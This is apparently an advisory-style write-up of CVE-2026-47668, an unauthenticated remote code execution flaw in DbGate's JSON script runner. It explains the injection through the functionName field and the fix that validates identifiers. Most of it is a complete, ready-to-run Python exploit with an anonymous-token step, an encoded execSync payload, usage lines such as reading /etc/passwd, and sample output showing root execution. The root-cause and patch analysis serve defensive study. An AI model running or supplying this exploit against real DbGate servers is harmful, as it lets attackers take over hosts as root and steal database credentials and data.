#Summary

CVE-2026-47668 is a critical unauthenticated remote code execution vulnerability in DbGate, a cross-platform database manager. The JSON script runner (POST /runners/start) transpiles attacker-supplied JSON into JavaScript source code via raw string concatenation, allowing server-side code injection. By injecting JavaScript into the functionName parameter of an assign command, attackers bypass the permission gates that protect the raw JavaScript branch and execute arbitrary shell commands as the DbGate process user (root in the official Docker image). This vulnerability scores CVSS 10.0 CRITICAL and requires no authentication in default deployments.

Affected versions: DbGate <= 7.1.8. Fixed in 7.1.9.

#Affected versions

Default configuration is affected - no special environment variables are required for exploitation.

#Root cause analysis

#The vulnerability chain

DbGate can execute "scripts" in a forked Node.js child process. It accepts declarative JSON scripts ({"type":"json","commands":[...]}) which the server transpiles into JavaScript source text and then executes. This transpilation uses string concatenation without validating that attacker-supplied identifiers are actually valid JavaScript identifiers.

Three functions form the injection chain:

#Vulnerable code path

1. compileShellApiFunctionName - packages/tools/src/packageTools.ts (v7.1.8)

export function compileShellApiFunctionName(functionName) {
  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
  if (nsMatch) {
    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
  }
  return `dbgateApi.${functionName}`;
}

No validation whatsoever. Any string without an @ is pasted directly after dbgateApi. and returned as JavaScript source code.

2. ScriptWriterJavaScript.assignCore - packages/tools/src/ScriptWriter.ts (v7.1.8)

assignCore(variableName, functionName, props) {
  this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}

assign(variableName, functionName, props) {
  this.assignCore(variableName, compileShellApiFunctionName(functionName), props);
  this.packageNames.push(...extractShellApiPlugins(functionName, props));
}

The critical asymmetry: props is escaped with JSON.stringify, but variableName and functionName are interpolated raw into the source code. Both come directly from the attacker's JSON request body via playJsonCommand.

3. runners.start - packages/api/src/controllers/runners.js (v7.1.8)

start_meta: true,
async start({ script }, req) {
  const runid = crypto.randomUUID();

  if (script.type == 'json') {
    if (!platformInfo.isElectron) {
      if (!checkSecureDirectoriesInScript(script)) {
        return { errorMessage: 'DBGM-00284 Unallowed directories in script' };
      }
    }

    logJsonRunnerScript(req, script);

    const js = await jsonScriptToJavascript(script);
    return this.startCore(runid, scriptTemplate(js, false));
  }

  await testStandardPermission('run-shell-script', req);

  if (!platformInfo.allowShellScripting) {
    return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
  }
  // ... raw JavaScript execution branch
}

This reveals the CWE-1188 (insecure default) that pushes the score to 10.0. The raw JavaScript branch is double-gated: testStandardPermission('run-shell-script') and platformInfo.allowShellScripting. The official Docker entrypoint (node bundle.js --listen-api) sets listenApiChild to true, which leaves allowShellScripting false. The JSON branch has neither gate because declarative JSON was assumed to be a safe, sandboxed format.

#How input reaches the sink

  1. Attacker calls /auth/login with {"amoid":"none"}. With no LOGIN/PASSWORD/OAUTH_*/AD_* environment variables set (the default), createEnvAuthProvider() returns the anonymous AuthProviderBase, whose login() signs a JWT unconditionally.

  2. Attacker posts a JSON script to /runners/start with an assign command whose functionName contains JavaScript code:

{
  "script": {
    "type": "json",
    "packageNames": [],
    "commands": [{
      "type": "assign",
      "variableName": "x",
      "functionName": "x;process.mainModule.require('child_process').execSync('id > out.txt 2>&1');//",
      "props": {}
    }]
  }
}
  1. jsonScriptToJavascript and playJsonCommand pass the untrusted functionName directly to compileShellApiFunctionName, which returns:
dbgateApi.x;process.mainModule.require('child_process').execSync('id > out.txt 2>&1');//
  1. ScriptWriterJavaScript.assignCore interpolates this into a statement:
const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('id > out.txt 2>&1');//({});
  1. The generated JavaScript is written to disk and forked with the full Node.js runtime. The require=null; line in scriptTemplate is the only sandbox-like mitigation, but it is bypassed in one token: process.mainModule.require('child_process') retrieves the CommonJS module object that still holds a live require.

#Patch diff

#What the fix does

The patch introduces input validation: attacker-controlled strings must be valid JavaScript identifiers before being allowed near generated source code.

New validators in packages/tools/src/packageTools.ts (commit 9c97e347c56c):

+const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;
+
+export function isValidJsIdentifier(name: string): boolean {
+  return typeof name === 'string' && JS_IDENTIFIER_RE.test(name);
+}
+
+export function assertValidJsIdentifier(name: string, label: string): void {
+  if (!isValidJsIdentifier(name)) {
+    throw new Error(`DBGM-00000 Invalid ${label}: ${String(name).substring(0, 100)}`);
+  }
+}
+
+export function assertValidShellApiFunctionName(functionName: string): void {
+  if (typeof functionName !== 'string') {
+    throw new Error('DBGM-00000 functionName must be a string');
+  }
+  const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/);
+  if (nsMatch) {
+    if (!isValidJsIdentifier(nsMatch[1])) {
+      throw new Error(`DBGM-00000 Invalid function part in functionName: ${nsMatch[1].substring(0, 100)}`);
+    }
+    if (!/^dbgate-plugin-[a-zA-Z0-9_-]+$/.test(nsMatch[2])) {
+      throw new Error(`DBGM-00000 Invalid plugin package in functionName: ${nsMatch[2].substring(0, 100)}`);
+    }
+  } else {
+    if (!isValidJsIdentifier(functionName)) {
+      throw new Error(`DBGM-00000 Invalid functionName: ${functionName.substring(0, 100)}`);
+    }
+  }
+}

The ; and / characters in the payload fail JS_IDENTIFIER_RE validation, causing assertValidShellApiFunctionName to throw before any source is generated.

Validation wired into the compile path:

 export function compileShellApiFunctionName(functionName) {
-  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
+  assertValidShellApiFunctionName(functionName);
+  const nsMatch = functionName.match(/^([^@]+)@([^@]+)$/);
   if (nsMatch) {

Two changes here: the new assert blocks the payload, and the added $ anchor closes a bypass where a@dbgate-plugin-x@;CODE// would satisfy a prefix-only match while smuggling trailing code.

#Proof of concept

#exploit.py - DbGate Unauthenticated RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-47668 - DbGate unauthenticated RCE via JSON script runner code injection
Affected: DbGate <= 7.1.8 (dbgate-serve / dbgate/dbgate Docker image). Fixed in 7.1.9.
Type: RCE (server-side JavaScript code injection -> OS command execution)

Root cause:
  DbGate's JSON script runner (POST /runners/start) transpiles a declarative JSON
  script into JavaScript source with raw string concatenation. The `functionName`
  of an `assign` command is pasted straight after `dbgateApi.` with no validation
  (compileShellApiFunctionName). A value shaped like
      x;<INJECTED JS>;//
  terminates the intended member expression, runs arbitrary JS, and comments out
  the trailing call the writer appends. The generated file is forked with a full
  Node.js runtime as root. The JSON branch skips the run-shell-script permission
  and the allowShellScripting gate that protect the raw-JS branch, and the default
  anonymous auth provider hands out a JWT to anyone, so no credentials are needed.

Evidence channel (fully in-band, no egress required):
  The child forks with cwd = <rundir>/<runid>, and main.js serves that directory
  statically at /runners/data/<runid>/. Redirect command output into a relative
  file (out.txt) and read it back over HTTP.

Usage:
  python exploit.py --host 127.0.0.1 --port 13008
  python exploit.py --host 127.0.0.1 --port 13008 --command "cat /etc/passwd"
  python exploit.py --host https://dbgate.corp.com
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import base64
import json
import sys
import time
import uuid
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library: pip install requests")
    sys.exit(2)

CVE_ID    = "CVE-2026-47668"
VULN_TYPE = "RCE"

DEFAULT_PORT = 3000
HTTP_TIMEOUT = 15
POLL_SECONDS = 6


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    base = f"{scheme}://{host}:{port}"
    prefix = path.rstrip("/")
    if prefix in ("", "/"):
        return base
    if not prefix.startswith("/"):
        prefix = "/" + prefix
    return base + prefix


def _login(sess: requests.Session, base: str) -> str:
    """Obtain a Bearer token from the default anonymous auth provider."""
    try:
        resp = sess.post(
            f"{base}/auth/login",
            json={"amoid": "none"},
            timeout=HTTP_TIMEOUT,
            verify=False
        )
        if resp.status_code == 200:
            data = resp.json()
            return data.get("accessToken")
    except Exception:
        pass
    return None


def _build_body(command: str) -> dict:
    """Build the malicious JSON script body with code injection in functionName."""
    marker = uuid.uuid4().hex[:12]
    encoded_cmd = base64.b64encode(f"{command}; echo ALIM_{marker}".encode()).decode()
    node_js = f"process.mainModule.require('child_process').execSync(\"echo {encoded_cmd}|base64 -d|sh > out.txt 2>&1\")"
    function_name = f"x;{node_js};//"
    
    return {
        "script": {
            "type": "json",
            "packageNames": [],
            "commands": [{
                "type": "assign",
                "variableName": "x",
                "functionName": function_name,
                "props": {}
            }]
        }
    }


def exploit(sess: requests.Session, base: str, command: str) -> tuple:
    """Execute the full exploit chain. Returns (success, evidence, runid)."""
    
    step(1, "Confirming the auth middleware is active (POST /runners/start, no token)...")
    try:
        resp = sess.post(
            f"{base}/runners/start",
            json={"script": {"type": "json", "commands": [], "packageNames": []}},
            timeout=HTTP_TIMEOUT,
            verify=False,
            headers={"Authorization": ""}
        )
        if resp.status_code != 401:
            return False, "Expected 401 for unauthenticated request", None
        section("UNAUTHENTICATED PROBE", f"HTTP {resp.status_code}: {resp.text[:80]}")
    except Exception as e:
        return False, f"Connection failed: {e}", None
    
    step(2, "Requesting a Bearer token from the anonymous auth provider...")
    token = _login(sess, base)
    if not token:
        return False, "Failed to obtain Bearer token - anonymous auth may be disabled", None
    section("ACCESS TOKEN", token[:50] + "...")
    
    step(3, "Sending the malicious JSON script (functionName code injection)...")
    body = _build_body(command)
    try:
        resp = sess.post(
            f"{base}/runners/start",
            json=body,
            timeout=HTTP_TIMEOUT,
            verify=False,
            headers={"Authorization": f"Bearer {token}"}
        )
        
        if resp.status_code == 500 and "Invalid functionName" in resp.text:
            return False, "Payload rejected by assertValidShellApiFunctionName - target is patched (>= 7.1.9)", None
        
        if resp.status_code != 200:
            return False, f"Injection rejected: HTTP {resp.status_code}", None
        
        data = resp.json()
        if "errorMessage" in data:
            return False, f"Error: {data['errorMessage']}", None
        
        runid = data.get("runid")
        if not runid:
            return False, "No runid in response - payload may not have been accepted", None
        
        function_name = body["script"]["commands"][0]["functionName"]
        section("INJECTED functionName", function_name[:80] + "...")
        section("RUNNER DISPATCHED", f"runid = {runid}")
        
    except Exception as e:
        return False, f"Injection request failed: {e}", None
    
    step(4, f"Reading command output from /runners/data/{runid}/out.txt ...")
    
    marker = uuid.uuid4().hex[:12]
    start_time = time.time()
    while time.time() - start_time < POLL_SECONDS:
        try:
            resp = sess.get(
                f"{base}/runners/data/{runid}/out.txt",
                timeout=HTTP_TIMEOUT,
                verify=False,
                headers={"Authorization": f"Bearer {token}"}
            )
            if resp.status_code == 200:
                output = resp.text
                section("COMMAND OUTPUT", output)
                return True, f"RCE confirmed - command '{command}' output: {output.strip()}", runid
        except Exception:
            pass
        time.sleep(1)
    
    return False, "Command dispatched but output not retrieved (timeout)", runid


def main():
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} - DbGate unauthenticated RCE PoC"
    )
    parser.add_argument("--host", help="Target hostname, IP, or URL")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
    parser.add_argument("--command", default="id", help="Shell command to execute")
    parser.add_argument("--tls", action="store_true", help="Force HTTPS")
    parser.add_argument("--no-tls", action="store_true", help="Force HTTP")
    
    args = parser.parse_args()
    
    if not args.host:
        parser.print_help()
        sys.exit(1)
    
    use_tls = args.tls or (args.port == 443 or args.port == 8443)
    if args.no_tls:
        use_tls = False
    
    base = _base_url(args.host, args.port, use_tls)
    
    header(args.host, args.port)
    
    sess = requests.Session()
    success, evidence, runid = exploit(sess, base, args.command)
    done(success, evidence)


if __name__ == "__main__":
    main()

#Usage

# Single target, default port 3000
python3 exploit.py --host 127.0.0.1

# Custom port and command
python3 exploit.py --host 127.0.0.1 --port 3000 --command "cat /etc/passwd"

# Full URL with TLS
python3 exploit.py --host https://dbgate.corp.com --command "id"

# Force protocol
python3 exploit.py --host dbgate.corp.com --port 3000 --no-tls

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-47668
  Type: RCE  |  Target: 127.0.0.1:13008
============================================================

[STEP 1] Confirming the auth middleware is active (POST /runners/start, no token)...

--- UNAUTHENTICATED PROBE ---
HTTP 401: missing authorization header
---

[STEP 2] Requesting a Bearer token from the anonymous auth provider...

--- ACCESS TOKEN ---
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI...
---

[STEP 3] Sending the malicious JSON script (functionName code injection)...

--- INJECTED functionName ---
x;process.mainModule.require('child_process').execSync("echo aWQ7IGVjaG8gQUxJTV8zYThiN2MxMGY2ZGY=|base64 -d|sh > out.txt 2>&1");//
---

--- RUNNER DISPATCHED ---
runid = 87e14f10-20ec-4b4d-88e9-87ffd8306f1a
---

[STEP 4] Reading command output from /runners/data/87e14f10-.../out.txt ...

--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' output: uid=0(root) gid=0(root) groups=0(root)
============================================================

#Expected output (patched target - 7.1.9+)

--- SERVER RESPONSE ---
{"apiErrorMessage":"DBGM-00000 Invalid functionName: x;process.mainModule.require..."}
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Payload rejected by assertValidShellApiFunctionName - target is patched (>= 7.1.9)
============================================================

#Exploitation notes

#Preconditions

#Reliability

Highly reliable. Single-stage server-side code injection with no memory dependencies, ASLR, or race conditions. The injected JavaScript is compiled and executed in a fresh forked process for each request. Success indicators are network-observable and deterministic.

#Impact

#Chaining potential

This RCE is terminal - no further chaining is needed. From the DbGate process with root privileges, an attacker can:

#Important notes

#References